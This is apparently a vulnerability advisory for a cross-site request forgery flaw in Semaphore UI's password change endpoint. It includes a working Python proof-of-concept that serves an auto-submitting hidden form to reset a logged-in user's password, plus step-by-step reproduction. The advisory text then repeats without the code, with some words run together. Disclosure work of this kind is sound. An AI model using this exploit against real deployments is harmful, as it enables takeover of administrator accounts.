Summary
The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.
Details
The password change endpoint of Semaphore UI does not implement any CSRF protection:
- No CSRF token required
- No current password confirmation required
- Authentication relies solely on a session cookie (
semaphore) with no SameSite enforcement
A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users//password forms.
PoC
To reproduce the exploit, you can use the following python script:
import logging
import argparse
import time
import sys
import os
from http.server import SimpleHTTPRequestHandler, HTTPServer
logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')
def forge_malicious_page(target, user_id, newpassword):
return f"""
<html>
<body>
<form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">
<input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>
</body>
</html>
""";
parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri", help="Base uri to target", required=True)
parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port", help="Port to run server", default=1337)
args = parser.parse_args()
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
(self.client_address[0], self.command, self.path,
self.path.split('?')[1] if '?' in self.path else 'None'))
content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(content)))
self.end_headers()
self.wfile.write(content)
httpd = HTTPServer(("", args.port), Handler)
logging.info("[*] Serving at port "+str(args.port))
httpd.serve_forever()Example :
python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337
1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.
2 - Connect to semaphore UI in another tab with the targeted user.
3 - In the same browser, visit the malicious website (ex: localhost:1337).
4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password passwordchanged.
Impact
This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.
References
CamilleGR Finder
Summary
The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.
Details
The password change endpoint of Semaphore UI does not implement any CSRF protection:
semaphore) with noSameSiteenforcementA malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users//password forms.
PoC
To reproduce the exploit, you can use the following python script:
Example :
1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.
2 - Connect to semaphore UI in another tab with the targeted user.
3 - In the same browser, visit the malicious website (ex: localhost:1337).
4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password
passwordchanged.Impact
This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.
References